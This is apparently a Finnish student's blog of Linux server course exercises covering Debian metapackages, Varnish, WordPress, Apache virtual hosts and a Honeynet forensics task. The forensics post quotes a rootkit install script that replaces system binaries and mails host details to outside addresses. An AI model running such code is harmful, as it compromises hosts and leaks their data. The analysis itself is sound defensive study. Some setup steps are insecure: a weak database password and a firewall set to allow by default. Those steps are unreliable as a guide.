tiistai 5. maaliskuuta 2013

Tehtävä 6 - Metapaketit

Tämän viikon tehtävänä oli luoda deb-paketti, joka asentaa tekemäni shell skirptin. Tehtävänä oli myös allekirjoittaa paketit tai varasto.

Käytin tehtävässä HP Elitebook 2560p läppäriä ja Xubuntu 12.10. live-usb tikkua.

Metapaketti

Aluksi muutin näppäimistöni suomeksi, ja asensin tarvittavat päivitykset.

setxkbmap fi
sudo apt-get update

Aloitin luomalla hakemiston metapakettikokeiluilleni. Kansioon tein tulevaa varten hakemistot conf ja otto-code.

mkdir metapaketit
mkdir conf
mkdir otto-code

Seuraavaksi asensin equivs-ohjelman deb-tiedostojen tekoon

sudo apt-get install equivs
cd metapaketit/otto-code
equivs-control otto-code.cfg
nano otto-code.cfg


Tiedoston sisällöksi tuli
 
# Source: <source package name; defaults to package name>
Section: misc
Priority: optional
# Homepage: <enter URL here; no default>
Standards-Version: 3.9.2
Package: otto-code
Version: 1.0
Maintainer: Your Name <yourname@example.com>
# Pre-Depends: <comma-separated list of packages>
Depends: apache2, gimp, enigmail, gufw, curl,
Recommends: php5-server, thunderbird, chromium
# Suggests: <comma-separated list of packages>
# Provides: <comma-separated list of packages>
# Replaces: <comma-separated list of packages>
# Architecture: all
# Copyright: <copyright file; defaults to GPL2>
# Changelog: <changelog file; defaults to a generic changelog>
# Readme: <README.Debian file; defaults to a generic one>
# Extra-Files: <comma-separated list of additional files for the doc directory>
# Files: <pair of space-separated paths; First is file to include, second is destination>
#  <more pairs, if there's more than one file to include. Notice the starting space>
Description: <short description; defaults to some wise words>
 long description and info


Halusin metapakettini asentavan joitain ohjelmia, kuten apache-weppipalvelimen ja enigmail-sähköpostinkrytptausohjelman.

 
Seuraavaksi käänsin cfg-tiedostoni varsinaiseksi metapaketiksi

equivs-build otto-code.cfg

Sain luotua paketin nimeltä otto-code_1.0_all.deb

Halusin kokeilla pakettini pätevyyden lintian-ohjelmalla.

sudo apt-get install lintian
lintian -c otto-code_1.0_all.deb

En saanut virheilmoituksia.

Repository

Siirryin tekemään varastoani jo valmiiksi luotuun "metapaketit" kansioon.
Hakemistoon olin valmiiksi luonut kansion "conf"

cd metapaketit/conf
nano distributions

Tiedoston sisällöksi tuli

Origin: Otto
Label: Metal
Suite: stable
Codename: Quantal
Version: 3.1
Architectures: i386 amd64 source
Components: main non-free contrib
Description: Your description




Seuraavaksi asensin reprepro-ohjelman ja lisäsin otto-code deb pakettini varastoon

sudo apt-get install reprepro
sudo reprepro -VVVV -b metapaketit/ includedeb Quantal otto-code/otto-*.deb

Lopuksi asensin varaston palvelimelle

sudoedit /etc/apt/sources.list.d/repository.list deb http://10.0.0.1/~xubuntu/repository Quantal main

Lopuksi päivitin pakettini ja kokeilin asentaa metapakettini

sudo apt-get update
sudo apt-get install otto-code

Paketti asentui onnistuneesti.

Shell skripti

Siirryin shell skriptin tekoon. Asensin "gedit" ohjelman, ja tein sillä tiedoston "skripti". Skriptin funktioksi tuli tyhjentää terminaali, ja tulostaa teksti "Shell Skripti!"

sudo apt-get install gedit
gedit skripti

    #!/bin/bash
    clear
    echo "Shell Skripti!"


chmod 755 skripti

Kokeilin skriptiä komennolla ./skripti ja totesin sen toimivaksi.

Jotta saisin skriptini sisällytettyä metapakettiini, siirryin muokkaamaan alkuperäistä otto-code.cfg tiedostoa. Muutin tiedostossa "files" kohtaa.
Files: skripti metapaketit/otto-code

Pakettini meni lintianista yhä läpi.

Paketin allekirjoitus

Siirryin tekemään julkisen ja yksityisen avaimen metapaketilleni. Valitsin salaustyypiksi RSAn

gpg --gen-key





Valitsin oletuspituuden salasanalle, eli 2048. Asetin myös oletuksesta sen, ettei salasana vanhennu.

Ajoin ohjelman loppuun saakka onnistuneesti.

Päivitin vielä cfg tiedostostani uuden versionumeron 1.1 ja ajoin equivs-ohjelman läpi. Ajoin pakettini vielä lintianin läpi testiksi

lintian code-otto_1.1_all.deb

Lintian ei antanut virheitä.


Lopputulos

Sain metapaketin tehtyä ja salattua. Sain myös tehtyä shell skriptin. Shell skriptin toimivuudesta en mene täyteen takuuseen, sillä tietämykseni aiheesta on kohtuullisen suppea.

Tehtävään kului kaiken kaikkiaan noin 4.5 tuntia.

Lähteet:

http://terokarvinen.com/2011/update-all-your-computers-with-a-deb-repository
http://www.geogebra.org/forum/viewtopic.php?f=20&t=25603
http://linuxcommand.org/writing_shell_scripts.php


 

torstai 14. helmikuuta 2013

Tehtävä 5 - Varnish

Tämän viikon tehtävänä oli asentaa Varnish, muuttaa jotain sen asetusta VCL-kielellä ja käyttää liitännäistä Yslow analysointiin ja nopeutukseen.

Suoritin tehtävän koulun läppärillä (hp 2560p) käyttäen live USBia. Käyttöjärjestelmänä toimi Xubuntu 12.10.

Varnishin asentaminen

Aluksi työpöytäni avauduttua asetin näppäimistöni suomeksi, ja hain uusimmat päivitykset

setxkbmap fi
sudo apt-get update

 Päivitysten asennuttua asensin apache-weppipalvelimen ja varnish-http kiihdyttimen.

sudo apt-get install apache2
sudo apt-get install varnish

Testailuni kohteena päätin käyttää omaa wordpress sivustoani.

Varnishin asetukset

Halusin siirtää Varnishin apachen eteen. Siirryin varnishin asetuksiin muokkaamaan default.vcl tiedostoa

cd /etc/default/varnish
sudo nano varnish

Muokkasin tiedostoa niin, että se kuuntelee oletus HTTP-porttia

DAEMON_OPTS="-a :80 \
             -T localhost:6082 \
             -f /etc/varnish/default.vcl \
             -S /etc/varnish/secret \
             -s malloc,256m"





Tämän jälkeen siirryin muokkaamaan VCl-tiedostoa oikeanlaiseksi.




sudo nano  /etc/varnish/default.vcl


Muutin hostin ip-osoitetta ja porttia.


  backend apache { .host = "127.0.0.1"; .port = "8000";
 
 
 
 

Ongelmia ja ratkaisuita

Seuraavaksi päätin kokeilla toimiiko localhost-sivuni.

sudo a2enmod userdir
localhost/~xubuntu/wordpress

Sain eteeni sivun "503 Service Unavailable - varnish cache server"
Tämän jälkeen koitin uudelleenkäynnistää varnishin

sudo /etc/init.d/varnish restart

Päätin lähteä tutkimaan apachen asetuksia.

sudo nano /etc/apache2/ports.conf

Muutin tietoja seuraavasti

NameVirtualHost *:8000
Listen 127.0.0.1:8000
 
Muutin myös apachen sites enabled kansiossa virtual hostin tietoja.

sudo nano /etc/apache2/sites-enabled/000-default

Vaihdoin virtual hostin nimeksi <VirtualHost *: 8000>

Uudelleenkäynnistin varnishin ja yritin yhdistää localhost/~xubuntu/wordpress sivulle. Tällä kertaa yhdistäminen onnistui.

Päätin kokeilla apache benchillä, nopeutuuko sivuni lataus mikäli varnish on päällä.
Aluksi sammutin varnishin sudo /etc/init.d/varnish stop jonka jälkeen kokeilin wordpressiin yhdistämistä. Laitoin pyyntöjen määräksi 200 ja samanaikaisten pyyntöjen määräksi 100.

ab -n 200  -c 100 localhost/~xubuntu/wordpress

Muutaman testauskerran keskiarvoksi sain noin 0.023 sekuntia.

Tämän jälkeen laitoin varnishin päälle ja kokeilin apache benchiä samoilla luvuilla.

sudo /etc/init.d/varnish restart
ab -n 200  -c 100 localhost/~xubuntu/wordpress

Tällä kertaa sain ajaksi keskimäärin 0.015 sekuntia. Otaksuin näin ollen varnishin toimivan.

Mainittakoon vielä, ettei testeissäni tullut yhtään "failed" pyyntöä.

VCl asetusten säätö

Päätin että haluan muuttaa serverini niemä apachesta johonkin muuhun.
Tutkittuani asiaa, löysin että tämä on mahdollista muokkaamalla kohtaa VCL-tiedostossa kohdan "fetch" jälkeen.
Lisäsin seuraavan.

 unset obj.http.Server; 
 set obj.http.Server = "Olenkuningas"; 

Yslow

Seuraavaksi siirryin Yslow-liitännäisen asennukseen. Liitännäinen tarvitsi ilmeisesti toimiakseen myös Firebug-liitännäisen, joten asensin sen ensimmäiseksi selaimeeni. Asennusten jälkeen restarttasin Firefoxin.
Menin seuraavaksi wordpress-sivustolleni ja kokeilin Yslow liitännäistä.
Painoin "run test" nappulaa. Sain tulokseksi:
Overall performance score 94Ruleset applied: YSlow(V2)URL: http://localhost/~xubuntu/wordpress/

Yslow suositteli minun vähentämään kompontenttien määrää wordpress-sivustollani ja pitämään keksien määrän alhaisena.

Lopputulos

Sain varnishin hyvin toimimaan, muutettua VCL-asetuksia ja mittailtua sivuani Yslow-liitännäisellä. Tehtävään kului noin neljä tuntia.

Lähteet:

http://terokarvinen.com/2012/aikataulu-linux-palvelimena-ict4tn003-7-ict4tn003-kevaalla-2013


http://www.howtoforge.com/putting-varnish-in-front-of-apache-on-ubuntu-debian
http://httpd.apache.org/docs/2.2/programs/ab.html


keskiviikko 6. helmikuuta 2013

Tehtävä 4 - Wordpress



Tämän viikon tehtävänä oli asentaa wordpress, ottaa järkevät URLit käyttöön, vaihtaa teema, tehdä esimerkkiartikkeli, varmuuskopioida sisältö ja suojata kone tulimuurilla. Lisäksi piti tehdä wordpressiin oma teema.

Lähdin suorittamaan tehtävääni koulun läppärillä(hp elitebook 2560p) käyttäen uutta live USB tikkua. Tikkuun asensin Xubuntu 12.10. version.

Lamp-ympäristön asennus

Apache

Aluksi halusin asentaa Lamp-ympäristön koneelleni. Tarvitsin siis Linuxin, Apachen, MySql-serverin ja PhP:n.
Aloitin apachen asennuksesta. Aluksi kuitenkin tahdoin varmistaa koneellani olevan päivitykset kunnossa "sudo apt-get update". Vaihdoin myös näppäimistön suomistandardiin "setxkbmap fi".
Päiviysten asennuttua annoin komennon "sudo apt-get install apache2"
Tämän jälkeen tahdoin luoda public_html kansion ja kotisivun käyttäjälleni testejä varten.
"mkdir public_html"
"cd public_html"
"nano index.html"
Kirjoitin index.html tiedostoon "Hyvää iltaa kaikille!"


Kokeilin apachen toimivuutta aluksi selaimen kautta osoitteella "localhost".
Toimivuuden tarkistettuani tahdoin ottaa käyttöön käyttäjän kotisivut.
"sudo a2enmod userdir"
"sudo service apache2 restart"

Kokeilin nyt toimivuutta osoittella "localhost/~Xubuntu" ja sain Hyvää iltaa kaikille -tekstin eteeni.

Php

Seuraavaksi päätin siirtyä php-asennukseen. Ensitöikseni asensin php-valmiuden komennolla "sudo apt-get install libapache2-mod-php5"
Asennuksen valmistuttua tahdoin saada php:n käyttöön public_html sivustollani.
Tutkittuani asiaa tajusin, että minun pitää kommentoida ulos pari riviä tiedostosta php5.conf. Tiedosto löytyi apachen mods-enabled kansiosta.
"sudo nano /etc/apache2/mods-enabled/php5.conf"
Ulos kommentoitiin seuraavat rivit risuaidalla.

         <IfModule mod_userdir.c>
             <Directory /home/*/public_html>
            php_admin_value engine Off
             </Directory>
         </IfModule>
     </IfModule>

Tämän jälkeen restarttasin apachen varmuuden vuoksi.
"sudo service apache2 restart"

Halusin kokeilla toimiiko php, joten poistin vanhan tiedoston public_html kansiosta ja korvasin sen index.php tiedostolla.
"cd public_html"
"rm index.html"
"sudo nano index.php"
Tiedoston sisällöksi tuli

<?php
echo "Php testailua!";
?> 

Menin seuraavaksi selaimella kokeilemaan sivustoni toimivuutta osoitteeseen "localhost/~Xubuntu" ja sain näkyviini tekstin "Php testailua!"

MySql ja phpMyAdmin

Viimeiseksi siirryin MySql serverin ja phpMyAdmin-liitännäisen asennukseen.
"sudo apt-get install mysql-server"
"sudo apt-get install libapache2-mod-auth-mysql"
"sudo apt-get  install php5-mysql"

MySql kysyi asennusvaiheessa uutta salasanaa root-käyttäjälle. Tein salasanan ja tallensin sen nanotiedostoon.

Internetissä tutkittuani tulin siihen tulokseen, että phpMyAdmin olisi paras vaihtoehto, sillä saisin graafisen käyttöliittymän käyttööni MySql palvelimella.
"sudo apt-get install phpmyadmin"
Asennuksessa minulta kysyttiin mihin palvelimeen halusin työkalun liitettävän. Valitsin "apache2".
Seuraavaksi ohjelma tahtoi määrittää tietokannan ja kysyi uuden salasanan itselleen. Salasanavarmistuksien jälkeen saatiin tietokanta luotua.
Kokeilin työkalun toimivuutta selaimella "localhost/phpmyadmin" ja sain vastaukseksi 404 not found -sivun.
Aikani pähkäiltyä en löytänyt vastausta ongelmaan, joten päätin siirtyä eteenpäin.

WordPress

Nyt pääsin viimein varsinaisen tehtävän kimppuun.
Latasin wordpressin "tervapallo"-version(tar.gz) sivustolta "wordpress.org"
Purin kansion public_html hakemistoon.
Seuraavaksi halusin luoda varsinaisen tietokannan wordpressille. Tein tämän manuaalisesti, sillä phpMyAdmin ei suostunut kanssani yhteistyöhön.

"mysql -u root -p"
Tämän jälkeen syötin salasanani ja seuraavat komennot:

mysql> CREATE DATABASE wpbase;
Query OK, 1 row affected (0.00 sec)
 
mysql> GRANT ALL PRIVILEGES ON wpbase.* TO "root"@"localhost"
    -> IDENTIFIED BY "password";
Query OK, 0 rows affected (0.00 sec)
  
mysql> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.01 sec)

mysql> EXIT
Bye
$ 

Seuraavaksi tahdoin muuttaa wp-config-sample.php tiedoston varsinaiseksi versioksi. Menin wordpressin hakemistoon ja avasin nanolla kyseisen tiedoston.
"cd public_html/wordpress"
"sudo nano wp-config-sample.php"
Lähdin muuttamaan nanolla seuraavia tietoja:

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'database_name_here');

/** MySQL database username */
define('DB_USER', 'username_here');

/** MySQL database password */
define('DB_PASSWORD', 'password_here');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

Lisäksi muokkasin kohtaa
/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each a unique
 * prefix. Only numbers, letters, and underscores please!
 */
$table_prefix  = 'wp_';

Vaihdoin table prefixiä tietoturvan vuoksi.
Tallensin tiedoston nimellä wp-config.php

Wordpress käyttöönotto

Seuraavaksi menin selaimellani sivustolle http://localhost/~xubuntu/wordpress/wp-admin/install.php
ja aloitin asennuksen. Sain eteeni tekstin  "error establishing a database connection"
Palasin wp-config.php tiedostoon ja huomasin tehneeni salasanavirheen. Korjasin virheeni ja sain asennuksen käynnistymään.

Asetin sivustoni nimeksi ottokalliomaki. Kirjautumisen onnistuttua siirryin muokkaamaan sivustoni tietoja. 

Seuraavaksi halusin fiksut URLit, eli permalinksit käyttöön. Settings>permalinks. Valitsin "day and name" asetuksen.
Muutin myös general-asetuksista "Helsinki" aikavykkeen päälle.
Vaihdoin myös taglineni.

Seuraavaksi tein esimerkkiartikkelin sivustolleni. Kokeilin linkkiäni ja se toimi.
Seuraavaksi siirryin teeman laadintaan.

Appearance>themes>customize

Vaihdoin taustavärityksen sivustollani vaaleanpunaiseksi ja asetin oman taustakuvan. Taustakuvaksi tuli http://matt.lee.name/skeletor/2013/skeletor.jpg


Varmuuskopiointi ja palomuuri

Viimeiseksi tahdoin varmuuskopioida tietokantani. 
Löysin wordpressin sivustolta liitännäisen, joka voi tehdä tämän puolestani.

http://s.wordpress.org/extend/plugins/backup/screenshot-1.png?r=664331
  
Seuraavaksi tarkistin palomuurini tilanteen komennolla:
"sudo ufw status"
xubuntu@xubuntu:~$ sudo ufw status
WARN: / is world writable!
WARN: / is group writable!
Status: inactive 


"sudo ufw enable"
 

Sain tehtävän tältä osin valmiiksi. Aikaa kului tehtävään noin 5 tuntia.
 
 
 

torstai 31. tammikuuta 2013

Tehtävä 3 - virtuaalipalvelin

Tehtävä 3 - Virtuaalipalvelin

Tein tehtävän hp Elitebook2560p koneella käyttäen Xubuntu 12.10 käyttöjärjestelmää.

Tehtävänä oli tehdä apachelle nimipohjainen virtuaalipalvelin, tehdä virheitä apachen lokiin ja analysoida niitä.


Aloitus

Käynnistin jo aijemmin tekemäni live USB tikun kautta Xubuntun. 
Työpöydän avauduttua kokeilin verkkoselaimen toimivuutta.
Sain tervokarvinen.com sivuston auki virheettömästi.
Seuraavaksi avasin terminaalin ja latasin mahdolliset päivitykset komennolla
"sudo apt-get update"
Muutin myös näppäimistöasetuksen suomeksi "setxkbmap fi"

Päivitysten latauduttua päättelin tehtätävänannosta, että apache olisi hyvä asentaa.
"sudo apt-get install apache2"

Virtuaalisivun luonti

Tämän jälkeen siirryin tekemään käyttäjälleni public_html kansiota ja sinne mielikuvituksellista sivustoa.
 "mkdir public_html"
"cd public_html"
"mkdir virtuaalisivu.com"

Seuraavaksi seikkailin etc hakemistoon tiedostoon hosts, jotta saisin määriteltyä virtuaalisivujeni nimitiedot.
"cd /etc"
"sudo nano hosts"

Tässä vaiheessa tajusin, etten tiedä koneeni paikallista ip-osoitetta.
Poistuin tiedostosta ja kirjoitin komennon "ip a". Näin sain poimittua ip-osoitteeni  192.168.1.121.
Menin takaisin hosts tiedostoon ja määrittelin seuraavasti:
  192.168.1.121 www.virtuaalisivu.com
 192.168.1.121 virtuaalisivu.com

Oletin tämän ohjaavan molemmat osoitteet samalle sivulle.
Hetken netissä pyörittyäni tajusin, että minun pitää mennä tekemään asetuksia apachen tiedostoihin
"cd etc/apache2/sites-available"
Löysin hakemistosta default pohjan ja ajattelin kopioida sen omaan käyttöön virtuaalisivulleni.
"sudo cp default virtuaalisivu.com"

Löysin internetistä etsittyäni ohjeita virtuaalipalvelinten teosta, ja niiden ohjeilla ryhdyin muokkaamaan nanolla virtuaalisivu.com tiedostoa.
"sudo nano virtuaalisivu.com"

Kirjoitin tiedostoon seuraavanlaisesti:
 <VirtualHost *:80>
ServerAdmin webmaster@localhost
ServerName www.virtuaalisivu.com
ServerAlias virtuaalisivu.com
DocumentRoot /home/Xubuntu/public_html/virtuaalisivu.com
</VirtualHost>

Sivun sisältö


Seuraavaksi siirryin virtuaalisivu-kansiooni luomaan index.html sivun.

"cd"
"cd public_html/virtuaalisivu.com"
"sudo nano index.html"
Tero Karvisen innoittamana käytin hänen html-pohjaansa indexiin.


<!doctype html>
<html>
<head>
 <title>www.virtuaalisivu.com</title>
 <meta charset="utf-8" />
</head>
<body>
 <h1>www.virtuaalisivu.com</h1>
 <p>Oton hieno apachepohjainen virtuaalisivu!</p>
</body>
</html>

Käyttöönotto

Löysin netistä apachen komentoja, ja näin ollen otin käyttöön virtuaalipalvelimeni.
"sudo a2ensite virtuaalisivu.com"
Tämän jälkeen uudelleenkäynnistin apachen
"service apache2 reload"
Sain virheilmoituksen:
 Warning: DocumentRoot [/home/Xubuntu/public_html/virtuaalisivu.com] does not exist
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerNamea

Lähdin nanolla korjaamaan virtuaalisivu.com tiedostoa ja korvasin sieltä ison X kirjaimen pieneksi.
Kokeilin uudestaan "sudo service apache2 reload"
Tämän jälkeen "sudo a2ensite virtuaalisivu.com"

Sain ilmoituksen
 ... waiting .apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName

Lokit

Sain jokatapauksessa onnistuneesti yhdistettyä selaimella sivulle "www.virtuaalisivu.com" ja sivulla näkyi haluttu sisältö. Sama sisältö tuli kirjoittaessa "virtuaalisivu.com"

Seuraavaksi ryhdyin miettimään millaisia virheitä voisin keksiä apachen lokeihin. Tietämykseni aiheesta on hyvin suppea, joten minun oli syytä paneutua asiaan internetissä.
Sain selville että lokeja löytyy hakemistosta file system/var/log/apache2
Lokeista löytyi jo joitain tapahtuneita virheitä kuten:

 [Thu Jan 31 16:28:05 2013] [error] [client 192.168.1.121] File does not exist: /home/xubuntu/public_html/virtuaalisivu.com/favicon.ico

Kyseinen virhe ilmeisesti johtui virheellisesti syöttämästäni tiedostojuuresta.


Tehtävään kului noin 4-5 tuntia.

Lähteet:

http://httpd.apache.org/
http://wiki.apache.org/httpd/
http://ubuntu-tutorials.com/2008/01/09/setting-up-name-based-virtual-hosting/
www.terokarvinen.com






















torstai 24. tammikuuta 2013

Scan of the month 15



Linux palvelimena kurssin ensimmäinen varsinainen tehtävä



Aloitus

Tehtävänä oli suorittaa "Scan of the month 15". Kyseessä oli tapaus, jossa koneelle oli asennettu rootkit,
ja poistettu tämän jälkeen. Tehtävänä oli ladata hakemisto, kuvailla rootkitin analysointi ja etsiä rootkitin korvaavat tiedostot.
Suoritin tehtävän HP Elitebook 2560p läppärillä. Käyttöjärjestelmänä live cd Xubuntu 12.10.

Aloitin tehtävän boottaamalla linuxin USB-tikulta, jonka olin jo aijemmassa tehtävässä luonut.
Xubuntun käynnistyttyä avasin terminaalin, ja ensitöikseni vaihdoin näppäimistön
suomeksi komennolla "sudo setxkbmap fi"

Tämän jälkeen latasin mahdolliset päivitykset komennolla "sudo apt-get update"

Tehtävänantoon tutustuttuani latasin tiedoston honeynet.tar.gz.

Opettaja oli kehottanut asentamaan sleuth kitin, jonka mukana tulee ohjelma nimeltä "Autopsy"
"sudo apt-get install sleuthkit"
Seuraavaksi kokeilin ohjelman toimivuutta
"sudo autopsy"
Ilmeni ettei autopsy ollutkaan tullut paketin mukana, joten hain sen erikseen komennolla
"sudo apt-get install autopsy"

Tässä vaiheessa eteeni tuli ongelma. Ilmeisesti live USB-tikkuni ei ole täydessä toiminnassa, sillä
saan virheilmoituksen:
"BEGIN failed--compilation aborted at (eval 1) line 4.
) -- aborting
dpkg: error: unable to stat triggers deferred file `/var/lib/dpkg/triggers/Unincorp': Input/output error
E: Sub-process /usr/bin/dpkg returned an error code (2)"

Pari tuntia tutkittuani huomasin, että mikään ohjelma ei suostu asentumaan. Saan aina 
lopuksi virheilmoituksen. Tämän jälkeen päätin tehdä itselleni uuden live cd:n ja aloittaa alusta.

Uusi yritys

Tällä kertaa tutustuin sleuth kitin ominaisuuksiin hieman tarkemmin.
Löysin mielenkiintoisen työkalun nimeltä "tsk_recover" joka vaikutti sopivan juuri tähän tarkoitukseen.
Kyseisellä ohjelmalla saisin kaikki kohdennetut (allocated) ja kohdentamattomat (unallocated) tiedostot yhteen hakemistoon.

Tutustuin tsk_recovery ohjelmaan hyvän tovin.

Ajoin komennon "tsk_recover -e honeypot.hda8.dd tsk_recover"
Nyt pääsen seikkailemaan ja tarkastelemaan tiedostoja.

Hakemiston alussa oli paketti "lk.tgz"

Kiinnostuksestani halusin purkaa moisen paketin. Tein tämän komennolla "tar -xvf lk-tgz"

Seuraavaksi pääsin seikkailemaan kyseiseen hakemistoon.
Hakemistosta löytyi minulle hyvin tuntemattomia tiedostoja, mutta tämä ei vielä tarkoittaisi että asiassa olisi jotain mätää. 
Löysin tiedostoja  mm nimeltä linsniffer, lsattr, netstat, sense ja install.
linsniffer tiedostosta googlaamalla löytyi tietoa, joka viittasi sen kuuluvan rootkittiin.

Tarkastelin install tiedostoa "nano install"
Yllätyksekseni sain eteeni espanjaa. 
Tässä vaiheessa olin lievästi sanottuna hukassa tehtävän kanssa, joten päätin pitää tunnin-parin tauon.


Rootkitin sisällön avaus

Palasin tarkastelemaan install tiedostoa tarkemmin, ilman sanakirjaa. Löysin  sähköpostiosoitteen "bibi_damm@yahoo.com"
Törmäsin myös osoitteeseen last@linuxmail.org. Last tematiikka toistui tsk_recoverilla löytyneissä tiedostoissa useampaan otteeseen. Olisiko "last" kenties jokin muuttuva parametri rootkitissa? En osaa sanoa.
Rootkitistä löytyi tekstiä

echo    "********* Instalarea Rootkitului A Pornit La Drum *********"
echo    "********* Mircea SUGI PULA ********************************"
echo    "********* Multumiri La Toti Care M-Au Ajutat **************" 
echo    "********* Lemme Give You A Tip : **************************"
echo    "********* Scream & swear as much as you can ***************"
echo    "********* Ignore everything, call your freedom ************"
echo    "********* Cuz anyway nobody will hear you and no one will *"
echo    "********* Care about you **********************************"
echo
echo

Tämä herätti minussa lievää ahdistuksen tunnetta, kuten oli varmasti tarkoituskin.
Rootkitissä myös ilmeisesti asennettiin olemassa olevien tiedostojen päälle asioita

echo -n "* Inlocuim nestat ... alea alea "
rm -rf /sbin/ifconfig
mv ifconfig /sbin/ifconfig
rm -rf /bin/netstat
mv netstat /bin/netstat
rm -rf /bin/ps
mv ps /bin/ps
rm -rf /usr/bin/top
mv top /usr/bin/top
cp -f mkxfs /usr/sbin/
echo "* Gata..."
echo -n "* Dev... "
echo
echo

Suurta osaa tekstiä/koodia en ymmärtänyt laisinkaan, mutta silmiin pisti eräs kohta, jossa viitattiin "install" tiedostosta löytyneisiin sähköpostiosoitteisiin.

echo "* Luam Informatiile dorite ..."
echo "* Info : $(uname -a)" >> computer
echo "* Hostname : $(hostname -f)" >> computer
echo "* IfConfig : $(/sbin/ifconfig | grep inet)" >> computer
echo "* Uptime : $(uptime)" >> computer
echo "* Cpu Vendor ID : $(cat /proc/cpuinfo|grep vendor_id)" >> computer
echo "* Cpu Model : $(cat /proc/cpuinfo|grep model)" >> computer
echo "* Cpu Speed: $(cat /proc/cpuinfo|grep MHz)" >> computer
echo "* Bogomips: $(cat /proc/cpuinfo|grep bogomips)" >> computer
echo "* Spatiu Liber: $(df -h)" >> computer
echo "* Gata ! Trimitem Mailul ...Asteapta Te Rog "
cat computer | mail -s "placinte" last@linuxmail.org
cat computer | mail -s "roote" bidi_damm@yahoo.com
echo "* Am trimis mailul ... stergem fisierele care nu mai trebuie ."
echo
echo
echo "* G A T A *"
echo
echo "* That Was Nice Last "

Lopussa vastaan tuli tekstinpätkä:

cd /
rm -rf last lk.tgz computer lk.tar.gz

Tiedän rm komennon poistavan tiedostoja, joten päättelin rootkitin "piilottamisen" tapahtuvan tässä.

Lopputulos

En osannut nykyisellä tietämykselläni selvittää asiaa tämän enempää. Sain tietoon rootkitin sisältöä ja sain sen purettua hakemistoon. Rootkitin tekijästä en saanut muuta tietoa, kun sähköpostiosoitteen, tosin tekijän nimi tuskin on Bidi Damm. Tein tehtävää kaiken kaikkiaan noin 6 tuntia, mukaanlaskien uuden USB live cd:n teon.

Otto Kalliomäki

Lähteet

http://wiki.sleuthkit.org
http://www.sleuthkit.org/case/sotm_15/index.html
http://old.honeynet.org/scans/scan15/
http://terokarvinen.com/2012/aikataulu-linux-palvelimena-ict4tn003-7-ict4tn003-kevaalla-2013

sunnuntai 20. tammikuuta 2013

Linux kertaustehtävä

16.1.2013

Valitsin harjoitteeksi vanhan kokeen "http://terokarvinen.com/2011/tyoasemat-ja-tietoverkot-24-koe"

Tein tehtävän koulun läppärillä mallia HP EliteBook 2560p. Tehtävä saatiin loppuun suurilta osin onnistuneesti.

Ennen tehtävää tein itselleni USB-muistitikulle bootattavan Xubuntun(Live CD).
Aloitin tehtävän boottaamalla usb-tikulta xubuntun. Xubuntu käynnistyi hyvin ja sain työpöydän näkyviin. Järjestelmän käynnistyttyä avasin terminaalin.
Terminaaliin kirjoitin "sudo apt-get update", jotta varmistaisin olevani ajan tasalla päivityksistä.

Tehtävänannossa pyydetään asentamaan Linux ja valmistautumaan etäkäyttöön.
Täten tarvitsemme ssh-yhteyden, jonka hankimme komennolla "sudo apt-get install openssh-server".
Varmistusen jälkeen ssh-yhteysmahdollisuudet olivat asennettuja.
Seuraavaksi pyydettiin asentamaan weppipalvelin.
Kirjoitin terminaaliin "sudo apt-get install apache2", ja weppipalvelin saatiin asennettua.

Tehtävää tutkailtuani tulin siihen tulokseen, että seuraaaksi kannattaa edetä tekemällä
käyttäjät. Käyttäjiä tarvitaan viisi kappaletta; Elmeri Ångström, Maija Mehiläinen, Veikko Hurme, Almond Lorenz ja Per Åkker.

Tein käyttäjän "elmån" Elmerille komennolla "sudo adduser elman"
Salasanaksi valitsin Hurtaga1.
Muita tietoja en kokenut tarpeelliseksi tehtävän kannalta.
Seuraavaksi tein samoilla perjaatteilla loput 4 käyttäjää, varioiden salasanan numeromuuttujaa 2-5.
Varmistusten jälkeen olivat käyttäjät valmiit.

Kirjoitin terminaaliin "sudo apt-get install python" vain todetakseni, että pyhton oli
jo asennettuna uusimpana versiona.

Kirjaudutaan käyttäjänä maimeh ja luodaan kansio nimeltä starsign.
"ssh maimeh@localhost"
"mkdir starsign"
Seuraavaksi loin tekstitiedoston nimeltä LISENSSI
"cd starsign
nano LICENSE"
^O ^X
Seuraavaksi loin tekstitiedoston README.maija, johon perustelin maijalle vapaan
lisenssin vahvuudet.
Seuraavaksi loin kansioon starsign.py tiedoston
"nano starsign.py"
Poistuttiin Maijan käyttäjältä komennolla "exit"

Kirjaudutaan käyttäjänä elman.
"ssh elman@localhost"
Tehdään elmerille kansio randomwalk
"mkdir randomwalk"
Luodaan kansioon tiedosto "heimaailma.java" ja sinne koodia.
"nano heimaailma.java"
"system.out.println("Hei Maailma!");"
Poistutaan elmerin käyttäjältä komennolla "exit"

Seuraavaksi asennetaan palomuuri
"sudo apt-get install gufw"
Asennus onnistui virheettömästi.
Seuraavaksi tarkistin tulimuurin tilanteen"sudo ufw status"
Huomasin tulimuurin olevan sammutettuna, joten etenin seuraavin komennoin:
"sudo ufw enable
sudo ufw default allow"

Seuraavaksi tehdään kaikille käyttäjille oma kotisivu.
Laitetaan apache näyttämään jokaisen omasta homesta public html kansion.
"cd /ect/apache2/mods-available"
Tämän jälkeen kopioidaan userdir.conf ja userdir.load kansioon /etc/apache2/mods-enabled
"sudo cp userdir.conf ../mods-enabled"
"sudo cp userdir.load ../mods-enabled"
Käynnistetään apache uudestaan
"sudo /etc/init.d/apache2 restart"

Kokeillaan public html toimivuutta
"mkdir public_html", hyvin toimi.

Seuraavaksi luodaan public_html kansioon index.html.
"cd public_html"
"nano index.html"
Index.html tiedostoon tuli teksti:

<html>
<head>
Esimerkki
</head>
<body>
<h1> Esimerkki</h1>
<p> Esimerkkikamaa </p>
</body>
</html>

Seuraavaksi kopioidaan tehty kansio ja esimerkkisivu kaikille käyttäjille.
"sudo cp -r public_html/ ../elman
sudo cp -r public_html/ ../maimeh
sudo cp -r public_html/ ../veikhu
sudo cp -r public_html/ ../almlo
sudo cp -r public_html/ ../perakk

Seuraavaksi mennään Veikon html kansioon tekemään php sivu.
"cd ../veikhu/public_html"
Tässä välissä olisi hyvä asentaa php
"sudo apt-get install php5"

